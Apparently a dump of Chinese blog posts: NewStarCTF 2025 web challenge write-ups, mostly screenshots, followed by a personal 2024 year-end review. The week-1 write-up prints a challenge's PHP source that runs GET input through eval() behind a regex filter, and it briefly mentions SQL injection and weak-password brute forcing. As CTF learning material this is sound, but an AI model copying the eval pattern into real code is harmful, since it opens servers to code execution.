三、搞点哦润吉吃吃橘\n\n![image-20251026223052941](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026223052941.png)\n\n打开题目，先查看js代码，找到账号密码\n\n![image-20251026223139242](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026223139242.png)\n\n然后发现是短时间内计算一个很大的数，也很简单，用ai写一个脚本即可实现\n\n![image-20251026223241164](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026223241164.png)\n\n![image-20251026230802259](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026230802259.png)\n\n拿到flag\n\n![image-20251026230846800](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251026230846800.png)\n\n上面三题只是week2的部分题解，后面的题当时就没有做了，难度都很简单，也可能是我还没有做到比较难的题，xs。甚至题解都是时隔快半年之后才拿出来，当时只截了图\n","tags":["ctf补题","ctf"],"categories":["ctf"]},{"title":"NewStarCTF-2025-WEB-week1题解","url":"/2025/10/07/newstarctf-2025/","content":"\n## 一、multi-headach3\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007232636930.png\" alt=\"image-20251007232636930\" style=\"zoom: 33%;\" />\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007232651292.png\" alt=\"image-20251007232651292\" style=\"zoom: 50%;\" />\n\n开局根据提示查看robots.txt,发现路径，直接拿到flag\n\n![image-20251007232759592](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007232759592.png)\n\n![image-20251007233041367](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007233041367.png)\n\n## 二、strange_login\n\n![image-20251007233155568](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007233155568.png)\n\n![image-20251007233259003](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007233259003.png)\n\n![image-20251007233333290](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007233333290.png)\n\n根据提示是sql注入，直接用最简单的方式，结果直接出了flag，很新手。\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007233445941.png\" alt=\"image-20251007233445941\" style=\"zoom:50%;\" />\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007233431112.png\" alt=\"image-20251007233431112\" style=\"zoom:50%;\" />\n\n## 三、宇宙的中心是php\n\n\n\n![image-20251007233641055](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007233641055.png)\n\n虽然但是，基本上php我在实战中没遇到过。。\n\n![image-20251007233838542](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007233838542.png)\n\n找到特殊路径，审计源码。\n\n![image-20251007234250756](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007234250756.png)\n\n求助大模型，搜一下函数用法\n\n![image-20251007234545144](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007234545144.png)\n\n![image-20251007234626153](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007234626153.png)\n\n直接绕过\n\n![image-20251007234720190](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007234720190.png)\n\n## 四、黑客小W的故事（1）\n\n![image-20251007234830715](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007234830715.png)\n\n其实感觉是misc+基础知识\n\n![image-20251007234937090](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251007234937090.png)\n\n此时查看抓到的包，发现有完整的会话json，没用\n\n![image-20251008104748402](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008104748402.png)\n\n发现新链接里面是有吉欧这个货币，直接改一下发送的包就过了\n\n![image-20251008104845233](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008104845233.png)\n\n![image-20251008105038815](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008105038815.png)\n\n![image-20251008105122754](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008105122754.png)\n\n进入第二关，基本上跟着提示一步一步按照http的各种方法发送一下即可拿到flag\n\n![image-20251008105337202](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008105337202.png)\n\n![image-20251008105405762](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008105405762.png)\n\n![image-20251008105538201](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008105538201.png)\n\n按照链接发送get请求\n\n![image-20251008105849968](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008105849968.png)\n\n![image-20251008110129770](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008110129770.png)\n\n收到回复消息，再发delete请求，后面没啥东西了，一步一步走就行了。直接看图吧。\n\n![image-20251008110139591](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008110139591.png)\n\n![image-20251008110427643](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008110427643.png)\n\n![image-20251008110350769](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008110350769.png)\n\n![image-20251008110626743](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008110626743.png)\n\n这里不去前端看会话了，直接找到对应的聊天记录\n\n![image-20251008110655712](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008110655712.png)\n\n去上面的链接看聊天记录\n\n![image-20251008111000174](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008111000174.png)\n\n直接发不行，得在ua头里面加对应的单词\n\n![image-20251008112704194](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008112704194.png)\n\n再加上一个单词\n\n![image-20251008112747278](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008112747278.png)\n\n拿到最终的链接\n\n![image-20251008112800825](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008112800825.png)\n\n拿到flag，感觉像misc，但就是基础知识![image-20251008112924664](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008112924664.png)\n\n## 五、别笑，你也过不了第二关\n\n![image-20251008122552457](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008122552457.png)\n\n简单的前端小游戏，直接看js源码\n\n![image-20251008122631338](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008122631338.png)\n\n![image-20251008122742684](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008122742684.png)\n\n找到对应的游戏通关判断逻辑，直接发包\n\n![image-20251008123016003](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008123016003.png)\n\n拿到flag\n\n![image-20251008123119401](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008123119401.png)\n\n## 六、我真得控制你了\n\n![image-20251008123214176](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008123214176.png)\n\n先查看js源码，是按钮无法点击\n\n![image-20251008123421847](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008123421847.png)\n\n![image-20251008125859642](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008125859642.png)\n\n并且不能直接删去disable，因为有检测，但是可以通过加类的方式实现激活按钮\n\n![image-20251008125921279](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008125921279.png)\n\n最后进入新的界面，是一个登陆框\n\n![image-20251008125940583](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008125940583.png)\n\n提示是弱密码，直接弱口令爆破\n\n![image-20251008130028863](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008130028863.png)\n\n拿到密码\n\n![image-20251008131035021](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008131035021.png)\n\n![image-20251008131049523](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008131049523.png)\n\n发现返回包里面有对应的路径，打开，又是php源码审计\n\n\n\n![image-20251008131301901](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008131301901.png)\n\n如下，直接喂给ai，找到绕过方式，然后拿到flag\n\n```php\n<?php\nerror_reporting(0);\n\nfunction generate_dynamic_flag($secret) {\n    return getenv(\"ICQ_FLAG\") ?: 'default_flag';\n}\n\n\nif (isset($_GET['newstar'])) {\n    $input = $_GET['newstar'];\n    \n    if (is_array($input)) {\n        die(\"恭喜掌握新姿势\");\n    }\n    \n\n    if (preg_match('/[^\\d*\\/~()\\s]/', $input)) {\n        die(\"老套路了，行不行啊\");\n    }\n    \n\n    if (preg_match('/^[\\d\\s]+$/', $input)) {\n        die(\"请输入有效的表达式\");\n    }\n    \n    $test = 0;\n    try {\n        @eval(\"\\$test = $input;\");\n    } catch (Error $e) {\n        die(\"表达式错误\");\n    }\n    \n    if ($test == 2025) {\n        $flag = generate_dynamic_flag($flag_secret);\n        echo \"<div class='success'>拿下flag！</div>\";\n        echo \"<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>\";\n    } else {\n        echo \"<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>\";\n    }\n} else {\n    ?>\n<?php } ?>\n```\n\n| **检查位置**                  | **限制内容**                 | **允许字符**           | **目的**                    |\n| ----------------------------- | ---------------------------- | ---------------------- | --------------------------- |\n| is_array                      | 不允许数组提交               | —                      | 防止 input[]=1 这类数组注入 |\n| preg_match('/[^\\d*\\/~()\\s]/') | 只允许数字、* / ~ ( ) 和空白 | 0–9 * / ~ ( ) 空格     | 防止代码执行、命令注入      |\n| preg_match('/^[\\d\\s]+$/')     | 不允许纯数字和空格           | 必须包含至少一个操作符 | 防止无意义输入              |\n\n![image-20251008132429496](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20251008132429496.png)\n\n上面就是newstarctf 2025 week1的全部题目了，很简单的一周题目，但既然是week1，也合理。可以复习一些基础知识，随便做做反正也没花多长时间。\n","tags":["ctf补题","ctf"],"categories":["ctf"]},{"title":"2024 年终总结","url":"/2024/12/28/2024/","content":"\n# 2024年终总结\n\n> 转眼已经12月28号了，最近在家干活空隙来写一下2024的年终总结吧。观前提示：此文将生动展示一个普通网安选手&985大学生的一年，偶尔的高光时刻，普遍的低谷时刻。\n>\n> PS：虽然开始写的日期是28号，但是直到2025年的1月14号才刚写完，再次感慨一下现在的生活状态。后续差不多得继续开始学习了。\n\n## 一月到二月\n\n在24年年初我在回家之前先和npy先去西湖玩了一圈，吃了久负盛名的西湖醋鱼😂。（小声蛐蛐：但是我觉得这个一鱼两吃还挺好吃的。）\n\n![image-20250110142604282](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250110142604282.png)\n\n逛了西湖，看了落日，结束了回家前的短暂旅行。非常好西湖，爱来自上海💗。\n\n![image-20250110142713953](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250110142713953.png)\n\n![image-20250110142726189](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250110142726189.png)\n\n​    回家之后便开启了我大三的寒假，这时的我仍未想清楚未来的方向，在考研和直接工作之间犹豫不决，也曾幻想过保研，但是现实的绩点已经帮我堵死了这条路，除非国赛拿到二等奖。但是可以吗？在当时的我来看，很难。从去年的分区赛可以看出其他学校的队伍都很强，今年也只能努力看看了。在家就是日常做做攻防世界，刷刷b站，和同学一起幻兽帕鲁。（幻兽帕鲁--寒假限定版.jpg）这段时间在老家基本上没怎么出门，户外的话就是在院子里逗逗狗。\n\n![image-20250110142213993](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250110142213993.png)\n\n当然也在家里学了做菜，做了溜肥肠，炒青椒，焖茄子等等其他的家常菜，还是自己做菜好吃啊。\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250110142304510.png\" alt=\"image-20250110142304510\" style=\"zoom:25%;\" />\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250110142345686.png\" alt=\"image-20250110142345686\" style=\"zoom: 50%;\" />\n\n这期间也去报名了驾校，之前一直觉得不着急，这下子到大三开始急了。\n\n![image-20250110142458389](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250110142458389.png)\n\n之后就是练车日常，被科二折磨了四五天终于一遍过了。但是后面时间不够了，科三只能下次寒假来学了。\n\n![image-20250110143644081](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250110143644081.png)\n\n## 二月到六月\n\n这段时间基本上就全在学校了，这段时间我也初步定下了准备考研的想法，同时准备一下ctf国赛。这段时间接触了一点渗透知识，但是没怎么深入，刷了一遍学校的某个渗透靶场之后就再没碰过渗透了。为了准备考研我还买了一堆的数学考研题，准备先从数学开始学起。剩下的基本就是生活日常了，作为一个不卷绩点的大学生，学习肯定还是占少数滴。而每次我想学点考研数学的时候，我就偏不想学，然后就会去干各种其他的学习的事。反正什么是主任务就偏不干什么。对于其他人来说这一学期可是保研冲刺阶段了，或许会过得痛苦一些，但是对于我来说这段时间过得还是蛮快乐的。每天和npy出去自习，学学自己的东西，然后剩余时间就出去溜达，生活有滋有味。下面还是放一些生活片段吧，以后回看或许会别有一番滋味。\n\n和舍友的开学小聚，经典自助京元盛。\n\n![IMG_20240303_194631](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240303_194631.jpg)\n\n快乐UNO！\n\n![IMG_20240303_215835](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240303_215835.jpg)\n\n和npy打卡了网红景点武康路\n\n![IMG_20240303_134231](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240303_134231.jpg)\n\n抽空通关了潜水员戴夫，两眼一睁就是《下海》🤓☝️。\n\n![IMG_20240306_205654](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240306_205654.jpg)\n\n还有值得大段记录的可能就是今年的龙王山之旅了。作为复旦车协持续了十几年的一年一度的精品活动，这我怎么能缺席。虽然那几天感冒了，体验一般，但是和同好们一起骑车还是很欢乐的！最后的龙王山爬坡赛我也懒得爬了，估计成绩还没去年好，我便直接坐上后援车登顶，再滑下，爽滴很。☝️\n\n出发前的最后一顿是萨莉亚\n\n![IMG_20240403_130546](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240403_130546.jpg)\n\n然后作为疫情放开后的除春节外的第一个小长假，清明节的前夕出城高架还是不出意外的堵满了。我记得当时到达目的地的时候都十二点多了，而我作为一个重度晕车患者也是不出意外的吐在了车上。😵‍💫\n\n![IMG_20240403_202547](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240403_202547.jpg)\n\n后援车一览，如果我以后有车了会不会也来当后援车呢，嘻嘻努力吧还是。\n\n![IMG_20240404_091253](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240404_091253.jpg)\n\n骑行途中一览\n\n![IMG_20240404_102508](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240404_102508.jpg)\n\n![image-20250112171740991](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250112171740991.png)\n\n中午吃饭饭店门口的大修狗。（真的好大）\n\n![IMG_20240404_114137](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240404_114137.jpg)\n\n最后一天的龙王山爬坡赛我没参加，跟着后援车上来之后发现还有很多时间，诶🤓☝️，去登个顶吧，去年骑上来就没有力气继续登顶了，今年还有很多时间，说走就走。\n\n也是得益于当天的阴天天气，让我有幸看到了云海🤩。\n\n![IMG_20240406_095741](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240406_095741.jpg)\n\n![IMG_20240406_094551](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240406_094551.jpg)\n\n下雨+修路debuff叠满，下山后的自行车belike，很难想象他们骑上来的有多艰难。\n\n![IMG_20240406_130945](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240406_130945.jpg)\n\n龙王山干饭时刻：\n\n![image-20250112171658146](/Users/nevgiver/Library/Application Support/typora-user-images/image-20250112171658146.png)\n\n![image-20250112171719105](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250112171719105.png)\n\n之后就是五一小长假了，去了朱家角玩了一圈，当天情形：人人人人人人人我人人人人人人人人人人。当时在朱家角古镇吃了白色的臭豆腐，挺好吃的。还逛了一下古镇的其他地方，感觉除了人多没啥其他的特色。\n\n![IMG_20240501_153543](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240501_153543.jpg)\n\n再有值得回忆的就是这个国赛ctf的初赛和半决赛了。为什么初赛值得纪念，因为今年安全实验室不知道怎么了非要派出两只老登队伍来参赛，而国赛的规则就是每个学校只能有俩队伍进半决赛，这样搞的话我们想进半决赛就只能打下来一个老登队伍。更有趣的是两只研究生队伍一个叫白泽，一个叫黑泽。而我们本科生队伍一个叫六星（sixstars），一个叫六月（sixmoons）。最后我们也是艰难取胜（其实估计是第二队老登没怎么发力）。\n\n然后就来到了最难绷的半决赛。当时好像是因为福建大学出什么状况了不能当主办方了，换成了一个其他的大学，具体我忘了。但是举办场地在体育馆，竟然没空调？福建三十度的天气，几百人挤在体育馆里，不开空调，当时感觉我电脑键盘都可以煎鸡蛋了。\n\n![IMG_20240622_173154](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240622_173154.jpg)\n\n下图为场地，当时主办方也临时加了一些空调，但是走进一看，温度设置的是32°，幽默。而且四周窗户全开着，这点空调能管啥用。。。\n\n![IMG_20240623_084835](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240623_084835.jpg)\n\n在比赛前夕和杭州电子科大的同学一起小聚了一下，最后也是一起进了总决赛\n\n![](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/IMG_20240622_184605.jpg)\n\n最后结果\n\n![image-20250112171807655](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250112171807655.png)\n\n半决赛结束就是期末+暑假了。期末过得跟以往一样轻松，就是穿插着找实习让我很焦头烂额。\n\n## 重要的转折（六月）\n\n在找实习的时候我还抱着一手抓实习一手抓考研复习的幻想，但是在npy的多次提醒下也是意识到了这样做只会两者皆失。于是又到了人生的选择点，是全力备考还是全力找工作。也是思考了很久，再加上了解了一下本校安全实验室做的事情，以及我的未来规划，最终也是决定找工作本科就业了。我的思考历程还是很值得一写的。\n\n首先从矛盾论的角度来说想解决问题就是抓主要矛盾，不能过度关注次要矛盾。而我当前的主要矛盾是什么？就是需要找一份好的工作。所以接下来的任何安排都是为了这个主要矛盾服务的。而读研究生只是为了解决这个主要矛盾的一条路径，并非主要矛盾本身，如果我过度关注于读研究生，那便是抓大放小，这样是解决不了问题的。而为了实现找到好工作的这一最终目标，如果我选择了读研，据我对实验室的了解，实验室的大部分任务对找工作是无用的，都是为学术服务的，所以届时我肯定会偷摸出去实习，而安全实验室又不放同学出去实习。所以我肯定会选择一个非安全的可以实习的实验室。但是这样下来我科研方面相当于完全放弃了安全，只能在工作中增长安全经验。这样下来相当于我研究生基本等于没有念，就是混了一个文凭，在外面当着小实习生拿着微薄的薪水，而且还花着大价钱在学校这边挂个名。所以如果是走读研这条路相当于就是找了一个只能是实习生身份的、最后能拿到研究生文凭的一个工作。这样下来我为什么不直接工作干着正职来实现安全经验的增长呢？不仅可以缓解经济压力，还能拥有正职的工作经验，而且也是为最终目标服务的。最终目标也是为了找到一份更好的工作。故此最终选择了找工作。\n\n而在找实习的过程中也是一团乱麻，由于当时过于自信没有充分了解到市场环境再加上笔试也没有好好准备，导致当时只拿到了一个很普通的国企安全的口头offer，估计去了也是干杂活。而这个时候，我的ctf队长在班群里发了一则招聘通知，命运的齿轮从此刻开始转动。。\n\n![image-20250114130633128](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114130633128.png)\n\n当时也是抱着试试看的态度往邮箱里面发了简历，没想到刚发完邮件游族的蔡浩宇（后文均称蔡师傅）就立刻加了我微信。效率之高令人震惊。而也就是从此刻开始，人生轨迹开始通往了新的方向。蔡师傅加上微信后十分热情的和我聊了一下我的情况，然后让我准备面试。真的非常热情，让我对游族产生了很大的兴趣，再加上岗位介绍，感觉就是我的梦中情岗，马上就开始准备面试了。\n\n当时一面技术面我不知道面试官就是蔡师傅，好在也没有难为我，顺利过了一面之后就是hr面，也是问了一些常规问题后就通过了，然后就是定入职时间。这里由于当时的对接hr表示这边很缺人，让我早点过去，我就选择了期末考完的第二天便来到了游族实习。\n\n游族的第一面，那是一个盛夏雨天。\n\n![image-20250114171134373](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114171134373.png)\n\n进入公司，拿到临时卡\n\n![image-20250114171220683](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114171220683.png)\n\n接下来就是开启正式的游族实习生活\n\n## 七月到十月\n\n诶🤓☝️下面我将写一篇桃花源记\n\n**《桃花源记》**\n\n甲辰之岁，予有幸入游族公司，研习安全之道。初至之日，未识其妙，惟见堂宇森然，众人专注。予循路入内，适见安全团队，其地虽简，然气象自别，务实而温馨，若桃花源之胜境。安全团队中，皆怀技艺之士，各司其职，井然有序。系统加固、防御构建，无一不精，无一不细。予随其后，观其事，未尝有懈。予每日勤于漏洞扫描，悉心查验，既有新技之习，亦有旧道之研。\n\n予之mentor，温文而谦和，德艺兼备。每闻予有惑，必细加解答，循循善诱，未尝厌倦。遇复杂之难题，常与予并肩探讨，启迪心智。凡所教导，悉以实务为本，虽严而不苛，令人如沐春风。每日授业解惑之余，尚能谈笑风生，气氛融洽，予甚感安乐。\n\n予之leader，亦仁厚之人。其治事精明，待人宽和，予虽新入，亦得其关怀备至，处处指点，予心安焉。每遇团队之事，leader必以大局为重，倾力而为，使团队如沐春风，众人敬服。\n\n彼时游族之安全团队，既重技艺，又重人和。每人皆尽己所能，共筑坚固之防线，护公司之安。此地上下，皆如家人，相互扶持，予虽初入，亦觉温暖如斯。予每至于此，常自思忖：此游族，若桃花源也。导师如友，团队如家，所习皆所乐，何其有幸。遂作此记，以志其情，愿此美境长存，不负所托。\n\n在游族实习这段时间带我的人主要是蔡师傅，leader就是刘金利（后文均称利哥）。从他们身上我学到了非常多，以及在这段实习期间见到的和接触的一些事情也让我思考了很多。每次想到这里都十分感谢他们能给我这个实习的机会。\n\n游族的实习生活还是非常非常棒的，在这边学到了非常多学校接触不到的东西，并且蔡师傅和利哥还会经常给我们讲一些行业思考，我觉得这才是这段实习最可贵的部分。\n\n蔡师傅还会带我们出去见世面，当我们两个实习生都到齐后还开车带我们出去遛弯，还请我们吃了深夜食堂的大餐，现在还觉得很好吃🥹。这么好的mentor哪里找，而且技术也很强，什么都了解，每次遇到问题找他都能有解决的方向，点赞。\n\n<img src=\"https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174047551.png\" alt=\"image-20250114174047551\" style=\"zoom:33%;\" />\n\n![image-20250114174102915](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174102915.png)\n\n之后就是实习上班日常了，由于学校离游族比较远，每天通勤时长加起来有俩小时，好在是游族不加班，早上九点多到，十点开始干活，十二点就出去干饭，午休到两点继续干活，然后五点半左右就下去干饭，吃完饭回来六点多就可以打卡回学校了。非常好的工作时长。而且部门团建还带上了我这个实习生，去阳澄湖旁边狠狠玩了一圈，还吃了烤全羊，坐到了大人那桌玩了游戏，一下子干了好几碗酒一下子不行了提前撤退了😂。\n\n![image-20250114180148716](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180148716.png)\n\n![image-20250114180138971](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180138971.png)\n\n下面基本上就是实习日常doge：\n\n早上八点起：\n\n![image-20250114174506061](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174506061.png)\n\n骑车去地铁站：\n\n![image-20250114174527315](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174527315.png)\n\n到工位拿出包子鸡蛋开吃\n\n![image-20250114174551635](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174551635.png)\n\n正式干活\n\n![image-20250114174605990](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174605990.png)\n\n![image-20250114175928733](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114175928733.png)\n\n![image-20250114174626030](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174626030.png)\n\n![image-20250114174631236](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174631236.png)\n\n临近下班：\n\n![image-20250114174652398](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174652398.png)\n\n下班回学校\n\n![image-20250114174703131](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114174703131.png)\n\n总之来说这段实习经历是非常值得纪念的一段经历，里面的每个人都很好，限于篇幅这里就不过多赘述了，不然我能写出两万字长文来🐶。\n\n不论如何，这个盛夏的实习，将永远铭记于心。\n\n附一张最后的午餐：\n\n![image-20250114180004153](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180004153.png)\n\n而在实习的过程秋招也开始了，我便开始一边干活一边看面经，刷算法，看八股。蔡师傅和利哥都很好，会给我时间做这些事情，感恩。最后在十月末发现还没有一个满意的offer（太菜鸡了），我便离职回学校全力准备面试了。自此到十月结束了一段主要行程。\n\n这期间其中也穿插着和npy出去玩了很多地方，去了欢乐谷：\n\n![image-20250114180212548](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180212548.png)\n\n在公司楼下经历了上海冰雹事件，还把我们楼上玻璃干碎了😂\n\n![image-20250114180251643](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180251643.png)\n\n和npy日常干饭\n\n![image-20250114180311677](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180311677.png)\n\n经历了上海自1949年以来的最强台风，直接登录上海，魔都结界失效的一集：\n\n![image-20250114180353159](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180353159.png)\n\n![image-20250114180401143](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180401143.png)\n\nnpy还送了我黑神话当生日礼物，自己当了一把悟空\n\n![image-20250114180453046](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180453046.png)\n\n期间也去了佘山玩了一圈，浅浅爬了一下这座上海最高峰\n\n![image-20250114180555566](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180555566.png)\n\n逛街ktv\n\n![image-20250114180609766](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180609766.png)\n\n![image-20250114180615983](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180615983.png)\n\n对了其中也去四川参加了国赛的总决赛，第一天打的还挺好，第二天就炸了。\n\n![image-20250114180911660](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180911660.png)\n\n![image-20250114180904929](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180904929.png)\n\n顺便公费去成都玩了一圈：\n\n逛了太古里，看到了墙上的大熊猫（后面出了个新闻说这个大熊猫失踪了，xs）\n\n![image-20250114180944895](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114180944895.png)\n\n![image-20250114181018832](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114181018832.png)\n\n到了成都的油碟火锅：\n\n![image-20250114181010360](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114181010360.png)\n\n去了天府红，好多二次元啊（🤔）\n\n![image-20250114181052300](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114181052300.png)\n\n顺路去看了毛像，🫡\n\n![image-20250114181111295](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114181111295.png)\n\n十月之前应该就没别的了。\n\n## 十一月到十二月\n\n一年的收尾阶段了，这个时期也是拿到了我预期中的华为offer，给开了14的职级，本科生这个职级基本比较满意了，准备进华为先磨练几年。但是由于之前已经签了其他的offer，只能等明年再签三方了。\n\n这两个月也是无痛的玩完了，此时没有就业压力完全就是玩，很开心。\n\n日常就是四处溜达，去了没去过的公园逛逛\n\n![image-20250114192221104](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114192221104.png)\n\n先是去了迪士尼玩（第一次来到迪士尼），我对这些ip知道的并不是很多，所以和npy开启了狂刷项目模式，一天基本上把所有好玩的项目都玩了，很快乐的一天。\n\n![image-20250114191451170](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114191451170.png)\n\n![image-20250114191458471](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114191458471.png)\n\n然后蹭了学校的名额去了进博会，狠狠的蹭吃蹭喝，基本上没怎么去其他展馆，就在食品展馆蹭吃蹭喝了。\n\n![image-20250114191600186](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114191600186.png)\n\n还有就是今年的最后一次4+2，去了浙江继续骑车，也是在骑车路上接到了华为的oc，华孝子的胜利✌️。\n\n![image-20250114191730306](https://blogkkk-1319553185.cos.ap-shanghai.myqcloud.com/image-20250114191730306.png)\